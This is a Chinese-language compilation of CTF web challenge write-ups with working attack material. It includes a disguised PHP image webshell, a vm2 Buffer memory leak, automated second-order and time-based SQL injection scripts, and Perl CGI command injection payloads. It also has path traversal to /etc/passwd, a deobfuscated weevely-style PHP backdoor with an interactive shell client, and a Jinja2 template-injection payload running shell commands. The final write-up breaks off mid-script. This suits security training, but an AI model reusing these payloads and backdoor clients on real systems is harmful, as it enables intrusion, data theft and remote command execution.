在请求头部添加X-Forwarded-For: 127.0.0.1字段,进行ip伪造请求成功,并在响应页面返回了信息,其中在注释中包含了一个链接地址:
index.php?module=filemanage&do=???

do的参数没有给出,根据module=filemanage字眼,猜测do的内容与文件操作有关,do=upload是上传点,经过尝试得到完整的url为:

http://111.200.241.244:63880/index.php?module=filemanage&do=upload
根据页面显示"just image?"猜测需要绕过文件类型检测,这里想到使用一句话图片木马上传。
这里进行上传一句户图片木马,上传结果显示“Something shows it is a php”,其中检查到内容包含了php代码,这里做了文件内容过滤。
可通过<scrirpt>脚本绕过,那么可将一句话图片木马中的php代码内容修改为:<script language="php">system("ls");</script>
上传修改后的一句话图片木马,返回显示为;You know what I want,证明上传的.jpg后缀名也被过滤了。
经过测试这里不仅对后缀进行了黑名单过滤,同时会检查文件头的内容以及文件内容。
当上传后缀名为.php4和php5,可绕过上传,并获得flag
最终flag:
cyberpeace{c634cfa6e4b3ffb3fd9e9b3343a76d2b}
题目名称:leaking
题目writeup:
启动题目场景,获得靶场网站,访问网站,发现是一段node.js代码

node.js 里提供了 vm 模块,相当于一个虚拟机,可以让你在执行代码时候隔离当前的执行环境,避免被恶意代码攻击。但是这道题比较有意思

本题考点:

  1. node.js中VM2沙箱逃逸
  2. JS通过Buffer类处理二进制数据的缓冲区

首先给出题目的源码:

"use strict";
var randomstring = require("randomstring");
var express = require("express");
var {
    VM
} = require("vm2");
var fs = require("fs");
var app = express();
var flag = require("./config.js").flag
app.get("/", function(req, res) {
    res.header("Content-Type", "text/plain");
    /*    Orange is so kind so he put the flag here. But if you can guess correctly :P    */
    eval("var flag_" + randomstring.generate(64) + " = \"hitcon{" + flag + "}\";")
    if (req.query.data && req.query.data.length <= 12) {
        var vm = new VM({
            timeout: 1000
        });
        console.log(req.query.data);
        res.send("eval ->" + vm.run(req.query.data));
    } else {
        res.send(fs.readFileSync(__filename).toString());
    }
});
app.listen(3000, function() {
    console.log("listening on port 3000!");
});
我们把关键几行代码列出来:
eval("var flag_" + randomstring.generate(64) + " = \"hitcon{" + flag + "}\";")
eval就是把里面的当作javascript语句来运行
var vm = new VM({
            timeout: 1000
        });
        console.log(req.query.data);
        res.send("eval ->" + vm.run(req.query.data));
然后要Get传递一个data参数,将它放在vm2创建的沙盒中运行,并且对传入的参数长度进行了限制,不超过12,这里可以用数组绕过。
该题定义变量flag,然后我们可以在沙箱里面执行任意的命令。那我们如何逃逸出去呢?
逃逸所需知识:
在较早一点的 node 版本中 (8.0 之前),当 Buffer 的构造函数传入数字时, 会得到与数字长度一致的一个 Buffer,并且这个 Buffer 是未清零的。
8.0 之后的版本可以通过另一个函数 Buffer.allocUnsafe(size) 来获得未清空的内存。
低版本的node可以使用buffer()来查看内存,只要调用过的变量,都会存在内存中
如果使用new Buffer(size)或其别名Buffer(size))创建,则对象不会填充零,而只要是调用过的变量,一定会存在内存中,
所以需要使用Buffer()来读取内存,使用data=Buffer(500)分配一个500的单位为8位字节的buffer,因此很容易得到姿势
这儿的环境是8.0之前的,所以我们使用Buffer()来读取内存:
import requests
url = 'http://111.200.241.244:49495/?data=Buffer(500)'
response = ''
while 'flag' not in response:
req = requests.get(url)
response = req.text
print(req.status_code)
if 'flag{' in response:
print(response)
break
或者
# encoding=utf-8
import requests
import time
url = 'http://111.200.241.244:49495/?data=Buffer(500)'
response = ''
while 'flag' not in response:
req = requests.get(url)
response = req.text
print(req.status_code)
time.sleep(0.1)
if 'flag{' in response:
print(response)
break

最终flag:
flag{4nother_h34rtbleed_in_n0dejs}
题目名称:unfinish
题目描述:sql
题目writeup:
启动题目场景,获得靶机网站,访问网站,是一个登录页面
http://111.200.241.244:64668/login.php

这里尝试通过御剑目录扫描工具对其进行扫描,发现存在register.php路径

访问注册页面路径,下面可以进行常规的注册
登录进去以后发现只显示了注册的用户名

这里在用户名注册一个test'用户,发现注册失败

再次尝试用单引号闭合进行注册
登录进入后发现用户名bk已经转换成0,说明存在注入

尝试一下这里是不是二次注入(这里注入,登陆后可以看到结果)

二次注入

二次注入的原理,在第一次进行数据库插入数据的时候(注册时),仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身还是脏数据。

在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候(登录后),直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。

我们就能构造类似

0'+1+'0

当登录之后若是回显出1,则存在二次注入,我们就可以构造类似

爆出数据库

0'+ascii(substr(database() from 1 for 1)+'0

爆表

0'+ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))+'0

语句0' + ascii(substr(database(),1,1)) +'0被过滤

尝试了一遍,这里会检测逗号,用from 1 for 1代替掉逗号就行

1' + ascii(substr(database() from 1 for 1)) +'1

登录之后可以看到ascii码

这里在写脚本之前测试了一下,发现information_schema被过滤那就爆不了表名,所以猜测表名为flag

其中核心的注入代码就是:
"0' + ascii(substr((select * from flag) from %d for 1)) + '0" % i ,
substr的目的在于分割,防止字符串过长无法正常输出,ascii转换目的在于将flag与0想加不会出错.
之后通过正则去获取login.php页面的用户名值就是flag每一位的ascii码值
flag.py:
# coding=utf8
import requests
import re

register_url = "http://111.200.241.244:64668/register.php"
login_url = "http://111.200.241.244:64668/login.php"
database = ""
table_name = ""
column_name = ""
flag = ""
#获取数据库名
for i in range(1,10):
register_data = {
'email':'test@test'+ str(i),
'username':"0'+ascii(substr((select database()) from %d for 1))+'0"%i,
'password':123
}
r = requests.post(url=register_url,data=register_data)
login_data = {
'email':'test@test'+ str(i),
'password':123
}
r = requests.post(url=login_url,data=login_data)
match = re.search(r'<span class="user-name">\s*(\d*)\s*</span>',r.text)
asc = match.group(1)
if asc == '0':
break
database = database + chr(int(asc))
print('database:',database)
#获取表名
'''
for i in range(1,20):
register_data = {
'email':'test@test'+ str(i),
'username':"0'+ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from %d for 1))+'0"%i,
'password':123
}
r = requests.post(url=register_url,data=register_data)
print(r.text)
login_data = {
'email':'test@test'+ str(i),
'password':123
}
r = requests.post(url=login_url,data=login_data)
r.encoding = r.apparent_encoding
print(r.text)
match = re.search(r'<span class="user-name">\s*(\d*)\s*</span>',r.text)
asc = match.group(1)
if asc == '0':
break
table_name = table_name + chr(int(asc))
print('table_name:',table_name)
'''
#获取flag
for i in range(1,100):
register_data = {
'email':'test@test'+ str(i) + str(i),
'username':"0'+ascii(substr((select * from flag) from %d for 1))+'0"%i,
'password':123
}
r = requests.post(url=register_url,data=register_data)
login_data = {
'email':'test@test'+ str(i) + str(i),
'password':123
}
r = requests.post(url=login_url,data=login_data)
match = re.search(r'<span class="user-name">\s*(\d*)\s*</span>',r.text)
asc = match.group(1)
if asc == '0':
break
flag = flag + chr(int(asc))
print('flag:',flag)
尝试进行时间延迟注入:
# coding=utf8
import requests
import sys
url='http://111.200.241.244:64668/register.php'
flag=''
#爆数据库sql="1' and (select case when ascii(substr(database() from {0} for 1))={1} then sleep(5) else 1 end) or ''='"
sql="1' and (select case when ascii(substr((select * from flag) from {0} for 1))={1} then sleep(5) else 1 end) or ''='"
for i in range(1,50):
print('guess:',str(i))
for ch in range(32,129):
if ch==128:
sys.exit(0)
sqli=sql.format(i,ch)
data={
"email":"111@qq.com",
"username":sqli,
"password":"admin"
}
try:
html=requests.post(url,data=data,timeout=3)
except:
flag+=chr(ch)
print(flag)
break
最终flag:
flag{2494e4bf06734c39be2e1626f757ba4c}
题目名称:
题目writup:
启动题目场景,获得靶场网站,访问网站后,有3个超链接,点进去都是.pl文件,.pl文件都是用perl编写的网页文件。
http://111.200.241.244:49188/cgi-bin/forms.pl
http://111.200.241.244:49188/cgi-bin/file.pl
点击Files,可以上传文件并把文件内容打印出来
猜想后台应该用了param()函数,其后台主要代码如下:
use strict;
use warnings;
use CGI;
my $cgi= CGI->new;
if ( $cgi->upload( 'file' ) ) {
    my $file= $cgi->param( 'file' );
     while ( <$file> ) { print "$_"; }
}
param()函数会返回一个列表的文件但是只有第一个文件会被放入到下面的file变量中。如果我们传入一个ARGV的文件,那么Perl会将传入的参数作为文件名读出来。
对正常的上传文件进行修改,可以达到读取任意文件的目的:
方法一:

bupsuit进行抓包,将上传的文件类型及文件内容处复制再粘贴一行,将filename后面的内容去掉,内容填入ARGV,然后盲猜flag文件在/flag中,可直接读取到flag的内容

ARGV内容如下:(------WebKitFormBoundarygKH5XY1IilLxk70d必须和下面请求相同)

------WebKitFormBoundarygKH5XY1IilLxk70d

Content-Disposition: form-data; name="file"

ARGV

方法二:

或者直接先读取file.pl文件,猜测路径为:/var/www/cgi-bin/file.pl

file.pl的内容确实是上文猜测的后台主要代码,也用到了param()函数。

然后我们利用bash来进行读取当前目录下的文件,payload为:

/cgi-bin/file.pl?/bin/bash%20-c%20ls${IFS}/| 
通过管道的方式,执行任意命令,然后将其输出结果用管道传输到读入流中,这样就可以保证获取到flag文件的位置了。这里用到了${IFS}来作命令分割,原理是会将结果变成bash -c "ls/"的等价形式。
           
           
列出了当前目录下的内容,发现flag

/cgi-bin/file.pl?/flag #直接读取/flag文件内容

或者
/cgi-bin/file.pl?cat%20/flag%20|            #使用命令读取/flag文件内容

方法三:

首先查看当前目录下的文件,发现当前目录下没有flag文件。payload为:

/cgi-bin/file.pl?ls%20-l%20.%20|

即执行ls -l . |命令,并查看到当前目录有file.pl和forms.pl以及hello.pl三个pl文件。

然后查看file.pl的源代码,发现确实使用了param()函数。payload为:

/cgi-bin/file.pl?./file.pl
           
           

接着继续寻找flag文件,查看根目录,发现flag。payload为

/cgi-bin/file.pl?ls%20-l%20/%20|

最后读取flag即可。payload为

/cgi-bin/file.pl?/flag
方法四:
使用awvs对靶机网站进行扫描,发现存在目录穿越和xss漏洞
这里可以看到通过目录穿越漏洞任意读取到系统/etc/passwd的值
猜测flag在根目录,直接读取到flag的内容
最终flag:
cyberpeace{01763543ef73fc02f332735062b2e666}
题目名称:Web_php_wrong_nginx_config
题目writeup:
启动题目场景,获得靶机网站,访问网站,发现是一个登录页面
http://111.200.241.244:60458/login.php

         
         
输入admin/admin登录,提示“网站建设中”

         
         
通过dirsearch对目标靶机网站进行扫描,发现存在robots.txt以及admin目录
python3  dirsearch.py  -u   http://111.200.241.244:60458/
访问/robots.txt路径,发现隐藏可访问路径hint.php和Hack.php。
http://111.200.241.244:60458/robots.txt
访问hint.php页面显示了nginx的配置文件路径:/etc/nginx/sites-enabled/site.conf
http://111.200.241.244:60458/hint.php
接着访问Hack.php页面,发现提示“请登录”,点击确定又返回到登录页面,这里可能有问题,猜测有逻辑漏洞存在。
http://111.200.241.244:60458/Hack.php
最后访问admin页面显示,请继续登录
http://111.200.241.244:60458/admin/
我们对Hack.php页面进行访问,然后通过bupsuit对其抓包分析,发现cookie:isLogin=0处可能存在逻辑问题。
这里将isLogin=0修改为cookie:isLogin=1,然后进行请求,在响应包中发现是后台主页内容
然后将cookie值修改为isLogin=1,并进行forward.
两次对/earth.html页面请求的cookie值进行修改为1并进行forward

后台看起来有很多选项卡,其实大部分都是假的,即使有几个选项存在页面跳转,也都是指向index.php,没有什么问题

真正的利用点在于管理中心 ,只有该链接可以跳转。

http://111.200.241.244:60458/admin/admin.php
这里继续将cookie的值修改为isLogin=1,然后进行请求,在响应包中心显示了设备分组页面内容。
继续几次forward后,可以看到一个url地址: /admin/admin.php?file=index&ext=php,该地址中的?file=参数看起来存在任意文件包含漏洞
尝试对file=../../../../etc/passwd&ext=进行请求(注意修改cookie值),响应页面显示后台管理监控中心内容,但是/etc/passwd读不出来
注意:ext一定不要写东西,因为它是一个后缀,如果写入php,的话,它会按照php进行打开,这里就留空白或者以txt形式打开。
尝试对file=index../&ext=php进行请求(注意修改cookie值),响应页面显示后台管理监控中心内容且包含有please continue关键字
尝试对file=index.../&ext=php进行请求(注意修改cookie值),页面显示后台管理监控中心内容且没有please continue关键字,那么证明../已经被系统过滤了。
使用..././绕过过滤, 尝试访问 /admin/admin.php?file=..././..././..././..././etc/passwd&ext=,可以读取系统的/etc/passwd值

         
         
读取该系统nginx容器的配置文件/etc/nginx/sites-enabled/site.conf
尝试访问/admin/admin.php?file=..././..././..././..././etc/nginx/sites-enabled/site.conf&ext=,可读取到nginx的配置文件内容。
得到nginx的配置内容:
server { listen 8080; ## listen for ipv4; this line is default and implied listen [::]:8080; ## listen for ipv6 root /var/www/html; index index.php index.html index.htm; port_in_redirect off; server_name _; # Make site accessible from http://localhost/ #server_name localhost; # If block for setting the time for the logfile if ($time_iso8601 ~ "^(\d{4})-(\d{2})-(\d{2})") { set $year $1; set $month $2; set $day $3; } # Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html sendfile off; set $http_x_forwarded_for_filt $http_x_forwarded_for; if ( $http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) { set $http_x_forwarded_for_filt $1???; } # Add stdout logging access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log; error_log /var/log/nginx/error.log info; location / { # First attempt to serve request as file, then # as directory, then fall back to index.html try_files $uri $uri/ /index.php?q=$uri&$args; server_tokens off; } #error_page 404 /404.html; # redirect server error pages to the static page /50x.html # error_page 500 502 503 504 /50x.html; location = /50x.html { root /usr/share/nginx/html; } location ~ \.php $ { try_files $uri $uri/ /index.php?q= $uri& $args; fastcgi_split_path_info ^(.+\.php)(/.+)$; fastcgi_pass unix:/var/run/php/php5.6-fpm.sock; fastcgi_param SCRIPT_FILENAME $document_root $fastcgi_script_name; fastcgi_param SCRIPT_NAME $fastcgi_script_name; fastcgi_index index.php; include fastcgi_params; fastcgi_param REMOTE_ADDR $http_x_forwarded_for; } location ~ /\. { log_not_found off; deny all; } location /web-img { alias /images/; autoindex on; } location ~* \.(ini|docx|pcapng|doc)$ { deny all; } include /var/www/nginx[.]conf; }
其中有个不正确的配置点:

location /web-img {

        alias /images/;

        autoindex on;

    }

alias 用于给 localtion 指定的路径设置别名 , 在路径匹配时 , alias 会把 location 后面配置的路径丢弃掉 , 并把当前匹配到的目录指向到 alias 指定的目录 .
autoindex 是一个目录浏览功能 , 用于列出当前目录的所有文件及子目录,这里在 URL 访问 /web-img , 就会访问系统根目录下的 /images/

而如果在 URL 访问 /web-img../ , 则相当于访问 /images/../ , 即访问系统根目录 . 且由于开启了 autoindex , 我们可以直接在浏览器里看到根目录下的所有内容

尝试访问web-img/:

http://111.200.241.244:60458/web-img/


    
    
尝试访问web-img../,直接可以访问到根目录
访问/web-img../var/www/路径,发现hack.php.bak文件,它是hack.php的备份文件
http://111.200.241.244:60458/web-img../var/www/
访问 http://111.200.241.244:60458/hack.php.bk,可下载下来,代码已经被混淆加密了。
hack.php.bak的内容:
<?php
$U='_/|U","/-/|U"),ar|Uray|U("/|U","+"),$ss(|U$s[$i]|U,0,$e)|U)),$k))|U|U);$o|U|U=o|Ub_get_|Ucontents(|U);|Uob_end_cle';
$q='s[|U$i]="";$p=|U$ss($p,3);}|U|Uif(array_k|Uey_|Uexis|Uts($|Ui,$s)){$s[$i].=|U$p|U;|U$e=|Ustrpos($s[$i],$f);|Ui';
$M='l="strtolower|U";$i=$m|U[1|U][0].$m[1]|U[1];$|U|Uh=$sl($ss(|Umd5($i|U.$kh),|U0,3|U));$f=$s|Ul($ss(|Umd5($i.$';
$z='r=@$r[|U"HTTP_R|UEFERER|U"];$r|U|Ua=@$r["HTTP_A|U|UCCEPT_LAN|UGUAGE|U"];if|U($r|Ur&|U&$ra){$u=parse_|Uurl($r';
$k='?:;q=0.([\\|Ud]))?,|U?/",$ra,$m)|U;if($|Uq&&$m){|U|U|U@session_start()|U|U;$s=&$_SESSIO|UN;$ss="|Usubst|Ur";|U|U$s';
$o='|U$l;|U){for|U($j=0;($j|U<$c&&|U|U$i|U<$|Ul);$j++,$i++){$o.=$t{$i}|U^$k|U{$j};}}|Ureturn $|Uo;}$r=$|U_SERV|UE|UR;$r';
$N='|Uf($e){$k=$k|Uh.$kf|U;ob_sta|Urt();|U@eva|Ul(@g|Uzuncom|Upress(@x(@|Ubas|U|Ue64_decode(preg|U_repla|Uce(|Uarray("/';
$C='an();$d=b|Uase64_encode(|Ux|U(gzcomp|U|Uress($o),$k))|U;prin|Ut("|U<$k>$d</$k>"|U);@ses|U|Usion_des|Utroy();}}}}';
$j='$k|Uh="|U|U42f7";$kf="e9ac";fun|Uction|U |Ux($t,$k){$c|U=|Ustrlen($k);$l=s|Utrl|Ue|Un($t);$o=|U"";fo|Ur($i=0;$i<';
$R=str_replace('rO','','rOcreatrOe_rOrOfurOncrOtion');
$J='kf|U),|U0,3));$p="|U";for(|U|U$|Uz=1;$z<cou|Unt|U($m[1]);|U$z++)$p.=|U$q[$m[2][$z|U]|U];if(strpos(|U$|U|Up,$h)|U===0){$';
$x='r)|U;pa|Urse|U_str($u["qu|U|Uery"],$q);$|U|Uq=array_values(|U$q);pre|Ug|U_match_al|Ul("/([\\|U|Uw])[|U\\w-]+|U(';
$f=str_replace('|U','',$j.$o.$z.$x.$k.$M.$J.$q.$N.$U.$C);
$g=create_function('',$f);
$g();
?>
看起来像是weevely 生成的 WebShell 后门, 尝试输出$f,在php代码后加上echo $f,PHP_EOL;
      
      
<?php
$U='_/|U","/-/|U"),ar|Uray|U("/|U","+"),$ss(|U$s[$i]|U,0,$e)|U)),$k))|U|U);$o|U|U=o|Ub_get_|Ucontents(|U);|Uob_end_cle';
$q='s[|U$i]="";$p=|U$ss($p,3);}|U|Uif(array_k|Uey_|Uexis|Uts($|Ui,$s)){$s[$i].=|U$p|U;|U$e=|Ustrpos($s[$i],$f);|Ui';
$M='l="strtolower|U";$i=$m|U[1|U][0].$m[1]|U[1];$|U|Uh=$sl($ss(|Umd5($i|U.$kh),|U0,3|U));$f=$s|Ul($ss(|Umd5($i.$';
$z='r=@$r[|U"HTTP_R|UEFERER|U"];$r|U|Ua=@$r["HTTP_A|U|UCCEPT_LAN|UGUAGE|U"];if|U($r|Ur&|U&$ra){$u=parse_|Uurl($r';
$k='?:;q=0.([\\|Ud]))?,|U?/",$ra,$m)|U;if($|Uq&&$m){|U|U|U@session_start()|U|U;$s=&$_SESSIO|UN;$ss="|Usubst|Ur";|U|U$s';
$o='|U$l;|U){for|U($j=0;($j|U<$c&&|U|U$i|U<$|Ul);$j++,$i++){$o.=$t{$i}|U^$k|U{$j};}}|Ureturn $|Uo;}$r=$|U_SERV|UE|UR;$r';
$N='|Uf($e){$k=$k|Uh.$kf|U;ob_sta|Urt();|U@eva|Ul(@g|Uzuncom|Upress(@x(@|Ubas|U|Ue64_decode(preg|U_repla|Uce(|Uarray("/';
$C='an();$d=b|Uase64_encode(|Ux|U(gzcomp|U|Uress($o),$k))|U;prin|Ut("|U<$k>$d</$k>"|U);@ses|U|Usion_des|Utroy();}}}}';
$j='$k|Uh="|U|U42f7";$kf="e9ac";fun|Uction|U |Ux($t,$k){$c|U=|Ustrlen($k);$l=s|Utrl|Ue|Un($t);$o=|U"";fo|Ur($i=0;$i<';
$R=str_replace('rO','','rOcreatrOe_rOrOfurOncrOtion');
$J='kf|U),|U0,3));$p="|U";for(|U|U$|Uz=1;$z<cou|Unt|U($m[1]);|U$z++)$p.=|U$q[$m[2][$z|U]|U];if(strpos(|U$|U|Up,$h)|U===0){$';
$x='r)|U;pa|Urse|U_str($u["qu|U|Uery"],$q);$|U|Uq=array_values(|U$q);pre|Ug|U_match_al|Ul("/([\\|U|Uw])[|U\\w-]+|U(';
$f=str_replace('|U','',$j.$o.$z.$x.$k.$M.$J.$q.$N.$U.$C);
$g=create_function('',$f);
$g();
echo $f,PHP_EOL;
?>
通过PHP在线运行工具,可直接运行输出结果。
输出的内容:
$kh="42f7";$kf="e9ac";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}
通过在线PHP代码格式化美化工具对其进行美化。
得到美化后的代码:
$kh="42f7";
$kf="e9ac";
function x($t,$k) {
    $c=strlen($k);
    $l=strlen($t);
    $o="";
    for ($i=0;$i<$l;) {
        for ($j=0;($j<$c&&$i<$l);$j++,$i++) {
            $o.=$t {
                $i
            }
            ^$k {
                $j
            }
            ;
        }
    }
    return $o;
}
$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra) {
    $u=parse_url($rr);
    parse_str($u["query"],$q);
    $q=array_values($q);
    preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
    if($q&&$m) {
        @session_start();
        $s=&$_SESSION;
        $ss="substr";
        $sl="strtolower";
        $i=$m[1][0].$m[1][1];
        $h=$sl($ss(md5($i.$kh),0,3));
        $f=$sl($ss(md5($i.$kf),0,3));
        $p="";
        for ($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];
        if(strpos($p,$h)===0) {
            $s[$i]="";
            $p=$ss($p,3);
        }
        if(array_key_exists($i,$s)) {
            $s[$i].=$p;
            $e=strpos($s[$i],$f);
            if($e) {
                $k=$kh.$kf;
                ob_start();
                @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
                $o=ob_get_contents();
                ob_end_clean();
                $d=base64_encode(x(gzcompress($o),$k));
                print("<$k>$d</$k>");
                @session_destroy();
            }
        }
    }
}

经过提示 这个是个后门,网上有利用脚本 https://www.cnblogs.com/go2bed/p/5920811.html  一个PHP混淆后门的分析。

按提示修改脚本中的config部分

利用脚本如下:
# encoding: utf-8

from random import randint,choice
from hashlib import md5
import urllib
import string
import zlib
import base64
import requests
import re

def choicePart(seq,amount):
length = len(seq)
if length == 0 or length < amount:
print 'Error Input'
return None
result = []
indexes = []
count = 0
while count < amount:
i = randint(0,length-1)
if not i in indexes:
indexes.append(i)
result.append(seq[i])
count += 1
if count == amount:
return result

def randBytesFlow(amount):
result = ''
for i in xrange(amount):
result += chr(randint(0,255))
return result

def randAlpha(amount):
result = ''
for i in xrange(amount):
result += choice(string.ascii_letters)
return result

def loopXor(text,key):
result = ''
lenKey = len(key)
lenTxt = len(text)
iTxt = 0
while iTxt < lenTxt:
iKey = 0
while iTxt<lenTxt and iKey<lenKey:
result += chr(ord(key[iKey]) ^ ord(text[iTxt]))
iTxt += 1
iKey += 1
return result


def debugPrint(msg):
if debugging:
print msg

# config
debugging = False
keyh = "42f7" # $kh
keyf = "e9ac" # $kf
xorKey = keyh + keyf
url = 'http://111.200.241.244:60458/hack.php'
defaultLang = 'zh-CN'
languages = ['zh-TW;q=0.%d','zh-HK;q=0.%d','en-US;q=0.%d','en;q=0.%d']
proxies = None # {'http':'http://127.0.0.1:8080'} # proxy for debug

sess = requests.Session()

# generate random Accept-Language only once each session
langTmp = choicePart(languages,3)
indexes = sorted(choicePart(range(1,10),3), reverse=True)

acceptLang = [defaultLang]
for i in xrange(3):
acceptLang.append(langTmp[i] % (indexes[i],))
acceptLangStr = ','.join(acceptLang)
debugPrint(acceptLangStr)

init2Char = acceptLang[0][0] + acceptLang[1][0] # $i
md5head = (md5(init2Char + keyh).hexdigest())[0:3]
md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3,8))
debugPrint('$i is %s' % (init2Char))
debugPrint('md5 head: %s' % (md5head,))
debugPrint('md5 tail: %s' % (md5tail,))

# Interactive php shell
cmd = raw_input('phpshell > ')
while cmd != '':
# build junk data in referer
query = []
for i in xrange(max(indexes)+1+randint(0,2)):
key = randAlpha(randint(3,6))
value = base64.urlsafe_b64encode(randBytesFlow(randint(3,12)))
query.append((key, value))
debugPrint('Before insert payload:')
debugPrint(query)
debugPrint(urllib.urlencode(query))

# encode payload
payload = zlib.compress(cmd)
payload = loopXor(payload,xorKey)
payload = base64.urlsafe_b64encode(payload)
payload = md5head + payload

# cut payload, replace into referer
cutIndex = randint(2,len(payload)-3)
payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)
iPiece = 0
for i in indexes:
query[i] = (query[i][0],payloadPieces[iPiece])
iPiece += 1
referer = url + '?' + urllib.urlencode(query)
debugPrint('After insert payload, referer is:')
debugPrint(query)
debugPrint(referer)

# send request
r = sess.get(url,headers={'Accept-Language':acceptLangStr,'Referer':referer},proxies=proxies)
html = r.text
debugPrint(html)

# process response
pattern = re.compile(r'<%s>(.*)</%s>' % (xorKey,xorKey))
output = pattern.findall(html)
if len(output) == 0:
print 'Error, no backdoor response'
cmd = raw_input('phpshell > ')
continue
output = output[0]
debugPrint(output)
output = output.decode('base64')
output = loopXor(output,xorKey)
output = zlib.decompress(output)
print output
cmd = raw_input('phpshell > ')
执行python脚本,并使用  system("ls") ; 查看当前目录,发现存在 fllla4aggg.php文件,该文件包含flag内容
直接查看 fllla4aggg.php,可获得flag内容
system("cat fllla4aggg.php");
最终flag:
ctf{a57b3698-eeae-48c0-a669-bafe3213568c}
      
      
题目名称:Hello World
题目wireup:
访问靶机网站,发现是一个显示内容为“hello wold"的内容
查看源代码,发现有一个flag.xmas.js的 js
访问flag.xmas.js路径,发现404页面无法访问
http://106.75.72.168:9999/flag.xmas.js
通过dirsearch.py对靶机网站进行目录扫描,发现有.git目录泄露
python3 dirsearch.py   -u  http://106.75.72.168:9999/
通过Git_Extract工具对目标靶机网站进行/.git/目录进行下载
git clone https://github.com/gakki429/Git_Extract.git
python git_extract.py  http://106.75.72.168:9999/.git/
下载到本地,发现有flag.js和flagjs.04bbo9两个不同的js
用diff对flag.js和flag.js.04bb09进行对比,不同之处就是flag的关键组成字符
flag{82efc37f1cd5d4636ea7cadcd5a814a2}
最终falg:
flag{82efc37f1cd5d4636ea7cadcd5a814a2}
题目名称:Musee de X
题目内容:X在卢浮宫旁开了一个博物馆,欢迎社会各界人士捐献藏品
题目writeup:

打开提示我们如果要操作就需要登录

首先注册一个账号wosun

http://106.75.72.168:8888/register.php

然后用这个账号登录系统

http://106.75.72.168:8888/index.php

通过donate.php页面进行捐献,这里地址任意填一个url网站地址(123.com),用户名必须和注册的用户名一致(wosun)

http://106.75.72.168:8888/donate.php

提交后显示了错误,jinja2模板注入

 text = jinja2.Template(text).render() 说明使用了jinja2

据此信息是jinjia2模板而我们的用户名在text中,似乎就可以注入了

先注册用户名为({{前面的可以随意修改,注册成自己的用户名吧)

wosun{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].__dict__['popen']('cat flag*').read()}}

然后登录,捐献照片为底色为黑色的网络照片http://pic4.bbzhi.com/jingxuanbizhi/heisediannaozhuomianbizhixiazai/heisediannaozhuomianbizhixiazai_362061_5.jpg

然后go一下就看到flag了

最终flag:

 flag{13460551-92a3-ed4f-844d-86f8f12ca99c}

题目名称:破译
题目wirtup:
通过ctfcrackT00LS对其字符进行凯撒解密
解密得到:
BE5650G - 0BA CH50A A0D THE CH50ESE 9505ST4O 1F EDUCAT510 A001U0CED 910DAO A0 ENTE0S510 1F THE54 EN5ST50G 2A4T0E4SH52 T1 50C14214ATE F5T0ESS A0D BAS7ETBA88 DEVE8129E0T 50 E8E9E0TA4O, 95DD8E A0D H5GH SCH118S AC41SS CH50A.THE A001U0CE9E0T MAS 9ADE AT A S5G050G CE4E910O T1DAO BO 0BA CH50A CE1 DAV5D SH1E9A7E4 A0D NU TA1, D54ECT14 GE0E4A8 1F THE 50TE40AT510A8 C112E4AT510 A0D ENCHA0GE DE2A4T9E0T 1F THE 9505ST4O 1F EDUCAT510.
"ME A4E ENC5TED T1 B41ADE0 1U4 2A4T0E4SH52 M5TH THE 9505ST4O 1F EDUCAT510 T1 9A7E A 810G-8AST50G 592ACT 10 THE 85VES 1F CH50ESE STUDE0TS TH41UGH A 6150T8O-DES5G0ED BAS7ETBA88 CU445CU8U9 A0D A M5DE 4A0GE 1F SCH118 BAS7ETBA88 241G4A9S," SA5D SH1E9A7E4. "TH5S C1995T9E0T 9A47S A01THE4 958EST10E 50 THE 0BA'S O1UTH A0D BAS7ETBA88 DEVE8129E0T EFF14TS 50 CH50A." F8AG { GS182D9HCT9ABC5D}
其中包含了关键信息:
F8AG { GS182D9HCT9ABC5D}
F8AG看起来不像是flag的标识开头,这里是l被替换成8

再根据前面的字符串猜测得到:
1替换O 2替换P 5替换I 8替换L 9替换M

替换掉数字后删去空格,得到:
FLAG{GSOLPDMHCTMABCID}

或者脚本

import requests
import string
